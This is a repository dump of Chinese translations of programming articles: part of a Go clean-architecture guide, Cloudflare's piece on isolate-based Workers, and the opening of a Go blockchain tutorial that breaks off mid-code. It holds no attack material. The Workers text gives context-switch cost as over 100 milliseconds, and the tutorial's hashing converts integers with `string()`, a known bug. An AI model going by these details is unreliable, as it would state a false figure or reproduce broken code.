领域：黄色层\n\n整洁架构最重要的就是让接口穿过每一层。\n\n### 实体 — 黄色层\n\n在我看来, 实体层就像是分层架构里的领域层。\n因此为了避变和领域驱动设计里的实体概念弄混，我把这一层叫做应用/领域层。\n\n应用/领域包括三个包：\n\n*   模型：包含聚合，实体和值对象\n*   存储库：包含聚合对象的仓库接口\n*   服务：包括依赖模型的应用服务\n\n我将会解释每一个包的实现细节。\n\n#### 模型\n\n模型包含如下用户聚合：\n\n> 这并不是真正的聚合，但是我希望你们可以将来在本地运行的时候，加入各种各样的实体和值对象。\n\n```\npackage model\n\ntype User struct {\n\tid    string\n\temail string\n}\n\nfunc NewUser(id, email string) *User {\n\treturn &User{\n\t\tid:    id,\n\t\temail: email,\n\t}\n}\n\nfunc (u *User) GetID() string {\n\treturn u.id\n}\n\nfunc (u *User) GetEmail() string {\n\treturn u.email\n}\n```\n\n聚合就是一个事务的边界，这个事务是用来保证业务规则的一致性。因此，一个存储库就对应着一个聚合。\n\n#### 存储库\n\n在这一层，存储库应该只是接口，因为它不应该知晓持久化的实现细节。而且持久化也是这一层的非常重要的精髓。\n\n用户聚合存储的实现如下：\n\n```\npackage repository\n\nimport \"github.com/hatajoe/8am/app/domain/model\"\n\ntype UserRepository interface {\n\tFindAll() ([]*model.User, error)\n        FindByEmail(email string) (*model.User, error)\n        Save(*model.User) error\n}\n```\n\nFindAll 获取了系统里所有被保存的用户。Save 则是把用户保存到系统中。我再次强调，这一层不应该知道对象被保存或者序列化到哪里了。\n\n#### 服务\n\n服务层是不应该包含在模型层中的业务逻辑集合。举个例子，该应用不允许任何已经存在的邮箱地址注册。如果这个验证在模型层做，我们就发现如下的错误：\n\n```\nfunc (u *User) Duplicated(email string) bool {\n        // Find user by email from persistence layer...\n}\n```\n\n`Duplicated 函数`和 `User` 模型没有关联。  \n为了解决这个问题，我们可以增加服务层，如下所示：\n\n```\ntype UserService struct {\n        repo repository.UserRepository\n}\n\nfunc (s *UserService) Duplicated(email string) error {\n        user, err := s.repo.FindByEmail(email)\n        if user != nil {\n            return fmt.Errorf(\"%s already exists\", email)\n        }\n        if err != nil {\n            return err\n        }\n        return nil\n}\n```\n\n* * *\n\n实体包括业务逻辑和穿过其他层的接口。\n业务逻辑应该包含在模型和服务中，并且不应该依赖其他层。如果我们需要访问其他层，我们需要通过存储库接口。通过这样反转依赖，我们可以使这些包更加隔离，更加易于测试和维护。\n\n### 用例 —— 红色层\n\n用例是应用一次操作的单位。在 8am 中，列出用户和注册用户就是两个用例。这些用例的接口表示如下：\n\n```\ntype UserUsecase interface {\n    ListUser() ([]*User, error)\n    RegisterUser(email string) error\n}\n```\n\n为什么是接口？因为这些用例是在接口层 —— 绿色层被使用。在跨层的时候，我们都应该定义成接口。\n\n__UserUsecase__ 简单实现如下：\n\n```\ntype userUsecase struct {\n    repo    repository.UserRepository\n    service *service.UserService\n}\n\nfunc NewUserUsecase(repo repository.UserRepository, service *service.UserService) *userUsecase {\n    return &userUsecase {\n        repo:    repo,\n        service: service,\n    }\n}\n\nfunc (u *userUsecase) ListUser() ([]*User, error) {\n    users, err := u.repo.FindAll()\n    if err != nil {\n        return nil, err\n    }\n    return toUser(users), nil\n}\n\nfunc (u *userUsecase) RegisterUser(email string) error {\n    uid, err := uuid.NewRandom()\n    if err != nil {\n        return err\n    }\n    if err := u.service.Duplicated(email); err != nil {\n        return err\n    }\n    user := model.NewUser(uid.String(), email)\n    if err := u.repo.Save(user); err != nil {\n        return err\n    }\n    return nil\n}\n```\n\n__userUsercase__ 依赖两个包。__UserRepository__ 接口和 __*service.UserService*__ 结构体。当使用者初始化用例时，这两个包必须被注入。通常这些依赖都是通过依赖注入容器解决，这个后文会提到。\n\nListUser 这个用例会取到所有已经注册的用户，RegisterUser 用例是如果同样的邮箱地址没有被注册的话，就用该邮箱把新用户注册到系统。\n\n有一点要注意，**User** 不同于 **model.User. model.User** 也许包含很多业务逻辑，但是其他层最好不要知道这些具体逻辑。所以我为用例 users 定义了 DAO 来封装这些业务逻辑。\n\n```\ntype User struct {\n    ID    string\n    Email string\n}\n\nfunc toUser(users []*model.User) []*User {\n    res := make([]*User, len(users))\n    for i, user := range users {\n        res[i] = &User{\n            ID:    user.GetID(),\n            Email: user.GetEmail(),\n        }\n    }\n    return res\n}\n```\n\n* * *\n\n所以，为什么服务是具体实现而不是接口呢？因为服务不依赖于其他层。相反的，存储库贯穿了其他层，并且它的实现依赖于其他层不应该知道的设备细节，因此它被定义为接口。我认为这是这个架构中最重要的事情了。\n\n### 接口 —— 绿色层\n\n这一层放置的都是操作 API 接口，关系型数据库的存储库或者其他接口的边界的具体对象。在本例中，我加了两个具体物件，内存存取器和 gRPC 服务。\n\n#### 内存存取器\n\n我加了具体用户存储库作为内存存取器。\n\n```\ntype userRepository struct {\n    mu    *sync.Mutex\n    users map[string]*User\n}\n\nfunc NewUserRepository() *userRepository {\n    return &userRepository{\n        mu:    &sync.Mutex{},\n        users: map[string]*User{},\n    }\n}\n\nfunc (r *userRepository) FindAll() ([]*model.User, error) {\n    r.mu.Lock()\n    defer r.mu.Unlock()\n\n    users := make([]*model.User, len(r.users))\n    i := 0\n    for _, user := range r.users {\n        users[i] = model.NewUser(user.ID, user.Email)\n        i++\n    }\n    return users, nil\n}\n\nfunc (r *userRepository) FindByEmail(email string) (*model.User, error) {\n    r.mu.Lock()\n    defer r.mu.Unlock()\n\n    for _, user := range r.users {\n        if user.Email == email {\n            return model.NewUser(user.ID, user.Email), nil\n        }\n    }\n    return nil, nil\n}\n\nfunc (r *userRepository) Save(user *model.User) error {\n    r.mu.Lock()\n    defer r.mu.Unlock()\n\n    r.users[user.GetID()] = &User{\n        ID:    user.GetID(),\n        Email: user.GetEmail(),\n    }\n    return nil\n}\n```\n\n这是存储库的具体实现。如果我们想要把用户保存到数据库或者其他地方的话，需要实现一个新的存储库。尽管如此，我们也不需要修改模型层。这太神奇了。\n\n __User__ 只在这个包里定义。这也是为了解决不同层之间解封业务逻辑的问题。\n\n```\ntype User struct {\n    ID    string\n    Email string\n}\n```\n\n#### gRPC 服务\n\n我认为 gRPC 服务也应该在接口层。在目录 `app/interface/rpc` 下可以看到：\n\n```\n% tree\n.\n├── rpc.go\n└── v1.0\n    ├── protocol\n    │   ├── user_service.pb.go\n    │   └── user_service.proto\n    ├── user_service.go\n    └── v1.go\n```\n\n`protocol` 文件夹包含了协议缓存 DSL 文件 (user_service.proto) 和生成的 RPC 服务\n代码 (user_service.pb.go)。\n\n`user_service.go` 是 gRPC 的端点处理程序的封装：\n\n```\ntype userService struct {\n    userUsecase usecase.UserUsecase\n}\n\nfunc NewUserService(userUsecase usecase.UserUsecase) *userService {\n    return &userService{\n        userUsecase: userUsecase,\n    }\n}\n\nfunc (s *userService) ListUser(ctx context.Context, in *protocol.ListUserRequestType) (*protocol.ListUserResponseType, error) {\n    users, err := s.userUsecase.ListUser()\n    if err != nil {\n        return nil, err\n    }\n\n    res := &protocol.ListUserResponseType{\n        Users: toUser(users),\n    }\n    return res, nil\n}\n\nfunc (s *userService) RegisterUser(ctx context.Context, in *protocol.RegisterUserRequestType) (*protocol.RegisterUserResponseType, error) {\n    if err := s.userUsecase.RegisterUser(in.GetEmail()); err != nil {\n        return &protocol.RegisterUserResponseType{}, err\n    }\n    return &protocol.RegisterUserResponseType{}, nil\n}\n\nfunc toUser(users []*usecase.User) []*protocol.User {\n res := make([]*protocol.User, len(users))\n    for i, user := range users {\n        res[i] = &protocol.User{\n            Id:    user.ID,\n            Email: user.Email,\n        }\n    }\n    return res\n}\n```\n\n__userService__ 仅依赖用例接口。  \n如果你想使用其它层（如：GUI）的用例，你可以按照你的方式实现这个接口。\n\n`v1.go` 是使用依赖注入容器的对象依赖性解析器：\n\n```\nfunc Apply(server *grpc.Server, ctn *registry.Container) {\n    protocol.RegisterUserServiceServer(server, NewUserService(ctn.Resolve(\"user-usecase\").(usecase.UserUsecase)))\n}\n```\n\n`v1.go` 把从 __*registry.Container*__ 取回的包应用在 gRPC 服务上。\n\n最后，让我们看看依赖注入容器的实现。\n\n#### 注册\n\n注册是解决对象依赖性的依赖注入容器。\n我用的依赖注入容器是 github.com/sarulabs/di。\n\n[sarulabs/di: go (golang) 的依赖注入容器。请注册 GitHub 账号来为 sarulabs/di 开发做贡献](https://github.com/sarulabs/di \"https://github.com/sarulabs/di\")\n\ngithub.com/surulabs/di 可以被这样简单的使用：\n\n```\ntype Container struct {\n    ctn di.Container\n}\n\nfunc NewContainer() (*Container, error) {\n    builder, err := di.NewBuilder()\n    if err != nil {\n        return nil, err\n    }\n\n    if err := builder.Add([]di.Def{\n        {\n            Name:  \"user-usecase\",\n            Build: buildUserUsecase,\n        },\n    }...); err != nil {\n        return nil, err\n    }\n\n    return &Container{\n        ctn: builder.Build(),\n    }, nil\n}\n\nfunc (c *Container) Resolve(name string) interface{} {\n    return c.ctn.Get(name)\n}\n\nfunc (c *Container) Clean() error {\n    return c.ctn.Clean()\n}\n\nfunc buildUserUsecase(ctn di.Container) (interface{}, error) {\n    repo := memory.NewUserRepository()\n    service := service.NewUserService(repo)\n    return usecase.NewUserUsecase(repo, service), nil\n}\n```\n\n在上面的例子里，我用 `buildUserUsecase` 函数把字符串 `user-usecase` 和具体的用例实现联系起来。这样我们只要在一个地方注册，就可以替换掉任何用例的具体实现。\n\n* * *\n\n感谢你读完了这篇入门。欢迎提出宝贵意见。如果你有任何想法和改进建议，请不吝赐教！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/cloud-computing-without-containers.md",
    "content": "> * 原文地址：[Cloud Computing without Containers](https://blog.cloudflare.com/cloud-computing-without-containers/)\n> * 原文作者：[Zack Bloom](https://blog.cloudflare.com/author/zack-bloom/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/cloud-computing-without-containers.md](https://github.com/xitu/gold-miner/blob/master/TODO1/cloud-computing-without-containers.md)\n> * 译者：[TrWestdoor](https://github.com/TrWestdoor)\n> * 校对者：[tonylua](https://github.com/tonylua)\n\n# 无容器下的云计算\n\nCloudflare 有一个云计算平台称为 [Workers](https://www.cloudflare.com/products/cloudflare-workers/)。**不像据我所知道的其它云计算平台所必须的那样，它无需容器或虚拟机**。我们相信这将是无服务器和云计算的未来，我也将努力说服你这是为什么。\n\n### Isolate\n\n![](https://blog.cloudflare.com/content/images/2018/10/Artboard-42@3x.png)\n\n两年前我们面临一个问题。受限于应当在内部建立多少特性和选项，我们需要为用户找到一个方法来使得他们能自己完成构建。因此我们着手寻找一个方法可以让人们在我们部署在全球各地的服务器上（我们有一百多个数据中心，截止本文写作时这个数字为 155）写代码。我们的系统需要可以安全且低开销的运行不可信的代码。我们坐在上千万的站点前，每秒执行数百万个请求，同时还要求必须执行得非常非常快。\n\n之前我们使用的 Lua 并不在沙盒中运行；用户不能在没有我们监督的情况下写他们自己的代码。像 Kubernetes 这种传统的虚拟化和容器技术对每个相关用户来说都格外昂贵。在单一位置运行数千个 Kubernetes pods 将会是资源密集型的，在 155 个地方运行则将更糟。相比于没有管理系统，扩展他们会更容易些，但也绝非易事。\n\n最后我们用上了由 Google Chrome 团队构建的一项为其浏览器中的 Javascript 引擎提供动力的技术 — V8: Isolates。\n\nIsolates 是一个轻量的上下文，包含了被分组过的若干变量及用来改变它们的代码。更重要的是，一个单一的进程可以运行成百上千个 Isolates，并且在它们之间无缝切换。这使得在一个操作系统进程上运行来自不同用户的不可信代码成为可能。它们被设计的可以快速启动（有几个不得不在你的浏览器中启动，这仅仅是为你加载这个网页），并且不允许一个 Isolate 访问其它 Isolate 的内存。\n\n我们承担一次 Javascript 的运行开销，然后基本上可以无限执行这个脚本，并且几乎无需再单独承担某次的开销。启动任何给定的 Isolate 都比在我的机器上启动 Node 进程快一百倍。更重要的是，它们比该进程所需的内存消耗要少一个数量级。\n\n它们具有所有友善的功能即服务（function-as-a-service）的人体工程学，只需要编写代码而不必担心它如何运行或缩放。与此同时，它们不使用虚拟机或容器，这意味着你实际上以一种我所知的其他任何一种云计算方式都更接近裸金属的方式运行着。我相信这种模型更接近在裸金属上运行代码的经济型，但却运行在完全无服务器的环境中。\n\n本文并不是 Workers 的一个软广，但是我想要展示一个图表来反映差别有多么明显，以展示为什么我认为这不是一个迭代式的改进，而是一个实际的模式转换：\n\n![](https://blog.cloudflare.com/content/images/2018/10/image-2.png)\n\n这个数据反映了从最近的数据中心执行请求的反应时间（包括网络延迟），这个数据中心部署了所有的功能，按照 CPU 密集型执行。[来源](https://blog.cloudflare.com/serverless-performance-with-cpu-bound-tasks/)\n\n### 冷启动\n\n![](https://blog.cloudflare.com/content/images/2018/10/Cold-start@3x.png)\n\n并非所有人都充分理解类似于 Lambda 这样的传统无服务器平台是如何工作的。它给你的代码构建一个容器进程。相比于在你自己的机器上运行 Node，它不会在一个更轻量级的环境中运行你的代码。它所做的是自动缩放这些进程（稍显笨拙）。这个自动缩放过程则会导致冷启动。\n\n冷启动是指你的代码的新副本必须在一个机器上启动时而发生的事情。在 Lambda 的世界中，这相当于构建一个新的容器进程，这大概会花费500毫秒到10秒的时间。任何来自于你的请求都会被挂起十秒之多，相当糟糕的用户体验。一个 Lambda 在某一时刻只能处理一个请求，所以每次有额外的并发请求时一个新的 Lambda 就必须冷启动了。这意味着延迟请求可能会一再发生。如果你的 Lambda 没有及时收到请求，它将被关闭然后再重头开始。无论何时你部署新代码这都会重新发生，因为每个 Lambda 必须被重新部署。这常被认为是无服务器化并非吹嘘的那么好的原因。\n\n因为 Workers 无需开始一个进程，Isolates 在5毫秒内启动，这个时间是令人难以察觉的。同样的，Isolates 测量和部署的非常快，完全消除了现有无服务器技术面临的问题。\n\n### 上下文切换\n\n![](https://blog.cloudflare.com/content/images/2018/10/multitasking-bars@3x.png)\n\n操作系统的一个关键特性是允许你一次执行多个进程。它在任何时刻你想运行的代码的进程上透明地切换。为了实现这一点而将其称之为‘上下文切换’：将一个进程所需的内存全部移出，并将下一个进程所需的内存加载进来。\n\n上下文切换大概需要花费 100 多毫秒。当该时间与运行在你的 Lambda 服务器上的所有 Node、Python 或 Go 进程相乘时，会导致繁重的开销，这意味着 CPU 们的算力并没有全部应用到用户的代码执行上来，因为它被花费在了上下文切换中。\n\n基于 Isolate 的系统会在一个进程中执行完所有代码，并且使用自己的机制来保证安全的内存访问。这意味着无需在上下文切换中花费过多，机器实际上将几乎所有时间都用来执行你的代码。\n\n### 内存\n\n**Node 或 Python 的运行时旨在运行于独立用户的自有服务器上。这些代码从来没有被考虑过将其运行在多租户环境中，这种环境有成千上万个其他用户代码和严格的内存要求**。一个基本的 Node Lambda 运行的内存消耗大约是 35 MB。当你像我们这样在所有 Isolates 之间共享运行时的时候，这个数字会降到大约 3 MB。\n\n内存常常是运行用户代码时最大的成本消耗（甚至高过 CPU），降低它一个数量级可以极大程度改善经济性。\n\n基本的 V8 被设计成多租户模式。它被设计成在单个进程的隔离环境中，在你的浏览器的多个标签里运行代码。Node 和类似的运行时则并非如此，它显示在构建在其上的多租户系统中。\n\n### 安全性\n\n在同一个进程里面运行多个用户的代码显然需要仔细注意安全性。对于 Cloudflare 来说，自己构建这个隔离层既没有生产力也没有效率。它需要大量的测试、模糊、渗透测试，以及建立一个真正安全且如此复杂的系统所需要的资源。\n\n使得这一切可行的唯一原因就是 V8 的开源性，以及它作为或许是世界上最好的安全测试软件的地位。我们也构建了少量的安全层，包括对定时攻击的各种保护，但是 V8 才是确保这个计算模型可行的真正奇迹。\n\n### 计费\n\n这并不意味着要对 AWS 的计费进行公投，但是却有一个很有趣的经济现象值得简单提一下。Lambda 的计费是按照它们的运行时间来计算的。该计费被四舍五入到最近的 100 毫秒，这意味着人们每次平均执行达到 50 毫秒就要多付钱。更糟的是，他们给你开的账单是整个 Lambda 的运行时间，即使时间是花费在等待外部请求的完成。由于外部请求的时间一般都是数百上千毫秒，你最终可能会支付一个很荒谬的价钱。\n\nIsolates 只占有非常少量的内存空间，这样至少我们仅仅会为你的代码的实际执行时间开具账单。\n\n在我们的例子中，由于更低的开销，Workers 最终在每个 CPU 周期上可以便宜 3 倍。一个 Worker 对每百万请求提供 50 毫秒 CPU 的价钱是 0.50 美元，同样的 Lambda 对每百万请求的价钱是 1.84 美元。我相信降低 3 倍的成本可以有效的推动公司们转向基于 Isolate 的提供商。\n\n### 网络就是电脑\n\n亚马逊有一个名为 Lambda@Edge 的产品，它被部署在他们的 CDN 数据中心。不幸的是，它比传统的 Lambda 要贵三倍，并且它需要在初次部署时花费大约 30 分钟。它还不允许任意请求，将其用途限制为与 CDN 类似的用途。\n\n相反，正如我提到的，使用 Isolate 我们可以将源文件部署到 155 个数据中心，并且在经济性上比亚马逊做的更好。实际上在 155 个 Isolates 上运行比在一个容器中运行要更加便宜，也或许是亚马逊在向市场收取一个大家能承受但是比他们的成本高得多的费用。我不知道亚马逊的经济状况，我只知道我们对我们自己的很满意。\n\n很久以前人们就确定，要有一个真实可靠的系统那它必须部署在地球上的多个地方。但 Lambda 运行在一个单一的有效区，单一的区域和一个单一的数据中心。\n\n### 缺陷\n\n没有技术是完美无瑕的，每一次转变都会伴随一些缺陷。基于 Isolate 的系统不能任意编译代码。进程级隔离允许你的 Lambda 拥有任何它需要的二进制文件。在一个 Isolate 空间中，你必须使用 Javascript 来编写你的代码（我们使用了大量的 TypeScript），或者使用像 Go 或 Rust 这种针对 WebAssembly 的语言。\n\n如果你不能重新编译进程，你就不能在一个 Isolate 中运行它们。这或许意味着基于 Isolate 的无服务器化只能用于更新的、更现代化的、当下流行的应用程序。它也可能意味着遗留的应用程序仅仅能将最敏感的部件移动到 Isolate 的初始化中。社区也在寻找更新更好的方法来将现有的应用程序转到 WebAssembly，使得这些问题还有讨论的余地。\n\n### 我们需要你\n\n![](https://blog.cloudflare.com/content/images/2018/10/no-VM-@3x-3.png)\n\n我希望你可以[尝试一下 Workers](https://developers.cloudflare.com/workers/about/)并且让我们和社区知道你的经历。仍然有很多需要我们去完善建立的内容，我们可以利用你的反馈来做这些。\n\n我们同样需要一些对这感兴趣并想将其应用到新方向的工程师和产品经理。如果你是在旧金山，奥斯丁或者伦敦，请加入我们吧。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/code-your-own-blockchain-in-less-than-200-lines-of-go.md",
    "content": "> * 原文地址：[Code your own blockchain in less than 200 lines of Go!](https://medium.com/@mycoralhealth/code-your-own-blockchain-in-less-than-200-lines-of-go-e296282bcffc)\n> * 原文作者：[Coral Health](https://medium.com/@mycoralhealth?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/code-your-own-blockchain-in-less-than-200-lines-of-go.md](https://github.com/xitu/gold-miner/blob/master/TODO1/code-your-own-blockchain-in-less-than-200-lines-of-go.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[ALVINYEH](https://github.com/ALVINYEH)、[https://github.com/SergeyChang](SergeyChang)\n\n# 用不到 200 行的 GO 语言编写您自己的区块链\n\n![](https://cdn-images-1.medium.com/max/800/1*Elzguv8ycXYcphhD7M95hQ.jpeg)\n\n**如果这不是您第一次读本文，请阅读第 2 部分 —— **[**这里**](https://medium.com/@mycoralhealth/part-2-networking-code-your-own-blockchain-in-less-than-200-lines-of-go-17fe1dad46e1)**！**\n\n本教程改编自这篇关于使用 JavaScript 编写基础区块链的优秀[文章](https://medium.com/@lhartikk/a-blockchain-in-200-lines-of-code-963cc1cc0e54)。我们已经将其移植到 Go 并添加了一些额外的好处 -- 比如在 Web 浏览器上查看您的区块链。如果您对下面的教程有任何疑问，请务必加入我们的  [**Telegram**](https://t.me/joinchat/FX6A7UThIZ1WOUNirDS_Ew)。可向我们咨询任何问题！\n\n本教程中的数据示例将基于您的休息心跳。毕竟我们是一家医疗保健公司 :-) 为了有趣，记录您一分钟的[脉搏数](https://www.webmd.com/heart-disease/heart-failure/watching-rate-monitor#1)（每分钟的节拍）并记住这个数值。  \n\n世界上几乎每个开发者都听说过区块链，但大多数仍然不知道它的工作原理。他们可能仅仅是因为比特币才知道它，又或者是因为他们听说过智能合约之类的东西。这篇文章试图通过帮助您用 Go 编写自己的简单区块链，使用少于 200 行代码来揭开区块链的神秘面纱！到本教程结束时，您将能够编写并在本地运行您自己的区块链，以及在 Web 浏览器中查看它。 \n\n还有什么比通过创建自己的区块链来了解区块链更好的方法呢？\n\n**您将能够做什么**\n\n*   创建您自己的区块链\n*   了解 hash 如何维护区块链的完整性\n*   了解如何添加新块\n*   了解当多个节点生成块时，tiebreakers 如何解决\n*   在 web 浏览器中查看区块链\n*   写新的块\n*   获取区块链的基础知识，以便您可以决定您的旅程将从这里走向何处！\n\n**您不能做的事**\n\n为了保持本文的简单性，我们不会处理更高级的共识概念，比如工作证明和利害关系证明。为了让您查看您的区块链和区块的添加，我们将模拟网络交互，但网络广播作为文章的深度将被保留。\n\n### **让我们开始吧！**\n\n**准备工作**\n\n 既然我们决定用 Go 编写代码，我们假设您已经有了一些 Go 方面的经验，在[安装](https://golang.org/dl/)并配置 Go 之后，我们还需要获取以下软件包：\n\n`go get github.com/davecgh/go-spew/spew`\n\n**Spew** 允许我们在控制台中查看格式清晰的 `structs` 和 `slices`，您值得拥有。\n\n`go get github.com/gorilla/mux`\n\n**Gorilla/mux** 是编写 Web 程序处理的常用包。我们将会使用它。\n\n`go get github.com/joho/godotenv`\n\n**Gotdotenv** 允许我们从根目录中读取 `.env` 文件，这样就不必对 HTTP 端口之类的内容进行硬编码。我们也需要这个。\n\n我们在根目录中创建 `.env` 文件，定义为 http 请求提供服务的端口。只需要该文件添加一行：\n\n`ADDR=8080`\n\n创建 `main.go` 文件。从现在开始，所有的内容都会写进这个文件中，并且将用少于 200 代码进行编码。\n\n**导入**\n\n这是我们需要导入的以及包声明，我们把它们写入 `main.go`\n\n```go\npackage main\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/davecgh/go-spew/spew\"\n\t\"github.com/gorilla/mux\"\n\t\"github.com/joho/godotenv\"\n)\n```\n\n**数据模型**\n\n我们将定义组成区块链的每个块的 `struct` 。别担心，我们会在一分钟内结束所有这些字段的含义。\n\n```go\ntype Block struct {\n\tIndex     int\n\tTimestamp string\n\tBPM       int\n\tHash      string\n\tPrevHash  string\n}\n```\n\n每个 `Block`  都包含将被写入区块链的数据，并表示当您获取脉搏率时的每一种情况（还记得您在文章的开头就这样做了么？）。\n\n*   `Index` 是数据记录在区块链中的位置\n*   `Timestamp` 是自动确定写入数据的时间\n*   `BPM` 每分钟节拍数，是您的脉搏率\n*   `Hash` 是表示此数据记录的 SHA256 标识符\n*   `PrevHash` 是链中上一条记录的 SHA256 标识符\n\n我们也对区块链本身建模，它只是 `Block` 中的 `slice`:\n\n```go\nvar Blockchain []Block\n```\n\n那么散列如何适合于块和区块链呢？我们使用散列表来识别和保持块的正确顺序。通过确保每个 `Block` 中的 `PrevHash` 与前面 `Block` 块中的 `Hash` 相同，我们知道组成链的块的正确顺序。\n\n![](https://cdn-images-1.medium.com/max/800/1*VwT5d8NPjUpI7HiwPa--cQ.png)\n\n**散列和生成新块**\n\n那我们为什么需要散列呢？我们散列数据的两个主要原因：\n\n*   为了节省空间。散列从块上的所有数据派生。在我们的示例中，我们只有几个数据点，但是假设我们有来自数百、数千或者数百万以前的数据块的数据。将数据散列到单个 SHA256 字符串或**散列这些散列表**中要比一遍又一遍地复制前面块中的所有数据高效得多。\n*   保护区块链的完整性。通过存储前面的散列，就像我们在上面的图中所做的那样，我们能够确保区块链中的块是按正确的顺序排列的。如果恶意的一方试图操纵数据（例如，改变我们的心率来确定人寿保险的价格），散列将迅速改变，链将“断裂”，每个人都会知道也不再信任这个恶意链。 \n\n让我们编写一个函数，该函数接受 `Block` 数据并创建 i 的 SHA256 散列值。 \n\n```go\n\nfunc calculateHash(block Block) string {\n\trecord := string(block.Index) + block.Timestamp + string(block.BPM) + block.PrevHash\n\th := sha256.New()\n\th.Write([]byte(record))\n\thashed := h.Sum(nil)\n\treturn hex.EncodeToString(hashed)\n}\n```\n\n这个 `calculateHash` 函数将 `Block` 的 `Index`、`Timestamp`、`BPM`，我们提供块的 `PrevHash` 链接为一个参数，并以字符串的形式返回 SHA256 散列。现在我们可以用一个新的 `generateBlock` 函数来生成一个包含我们所需的所有元素的新块。我们需要提供它前面的块，以便我们可以得到它的散列以及在 BPM 中的脉搏率。不要担心传入 `BPM int` 参数。我们稍后再讨论这个问题。  \n\n```go\nfunc generateBlock(oldBlock Block, BPM int) (Block, error) {\n\n\tvar newBlock Block\n\n\tt := time.Now()\n\n\tnewBlock.Index = oldBlock.Index + 1\n\tnewBlock.Timestamp = t.String()\n\tnewBlock.BPM = BPM\n\tnewBlock.PrevHash = oldBlock.Hash\n\tnewBlock.Hash = calculateHash(newBlock)\n\n\treturn newBlock, nil\n}\n```\n\n注意当前时间使用 `time.Now()` 自动写入块中的。还请注意，我们之前的 `calculateHash` 函数是被调用的。从上一个块的散列复制到 `PrevHash`。`Index` 从上一个块的索引中递增。\n\n**块校验**\n\n我们需要编写一些函数来确保这些块没有被篡改。我们还通过检查 `Index` 来实现这一点，以确保它们按预期的速度递增。我们还将检查以确保我们的 `PrevHash` 与前一个块的 `Hash` 相同。最后，我们希望通过在当前块上再次运行 `calculateHash` 函数来重新检查当前块的散列。让我们编写一个 `isBlockValid`  函数，它执行所有这些操作并返回一个 `bool`。如果它通过了我们所有的检查，它就会返回  `true`：\n\n```go\nfunc isBlockValid(newBlock, oldBlock Block) bool {\n\tif oldBlock.Index+1 != newBlock.Index {\n\t\treturn false\n\t}\n\n\tif oldBlock.Hash != newBlock.PrevHash {\n\t\treturn false\n\t}\n\n\tif calculateHash(newBlock) != newBlock.Hash {\n\t\treturn false\n\t}\n\n\treturn true\n}\n```\n\n如果我们遇到这样一个问题，即区块链生态系统的两个节点都向它们的链添加了区块，并且我们都收到了它们。我们选择哪一个作为真理的来源？我们选择最长的链条。这是一个经典的区块链问题，与邪恶的演员没有任何关系。\n\n两个有意义的节点可能只是具有不同的链长，因此很自然地，较长的节点将是最新的，并且拥有最新的块。因此，让我们确保我们正在接受的新链要比我们现有的链长。如果是，我们可以用具有新块的新链覆盖我们的链。\n\n![](https://cdn-images-1.medium.com/max/800/1*H1fCp0NLun0Kn0wIy0dyEA.png)\n\n为了实现这一点，我们简单地比较了链片的长度：\n\n```go\nfunc replaceChain(newBlocks []Block) {\n\tif len(newBlocks) > len(Blockchain) {\n\t\tBlockchain = newBlocks\n\t}\n}\n```\n\n如果您已经坚持做到这里，就鼓励一下自己！基本上，我们已经用我们需要的各种函数编写了区块链的内部结构。\n\n现在，我们想要一个方便的方式来查看我们的区块链，并写入它，理想情况下是我们可以在一个网络浏览器显示我们的朋友！\n\n**Web 服务器**\n\n我们假设您已经熟悉 Web 服务器的工作方式，并有一些将它们连接到 Go 中的经验。我们现在就带你走一遍这个流程。\n\n我们将使用您之前下载的 [Gorilla/mux](https://github.com/gorilla/mux) 包来为我们完成繁重的任务。\n\n我们在稍后调用的 `run` 函数中创建服务器。\n\n```go\nfunc run() error {\n\tmux := makeMuxRouter()\n\thttpAddr := os.Getenv(\"ADDR\")\n\tlog.Println(\"Listening on \", os.Getenv(\"ADDR\"))\n\ts := &http.Server{\n\t\tAddr:           \":\" + httpAddr,\n\t\tHandler:        mux,\n\t\tReadTimeout:    10 * time.Second,\n\t\tWriteTimeout:   10 * time.Second,\n\t\tMaxHeaderBytes: 1 << 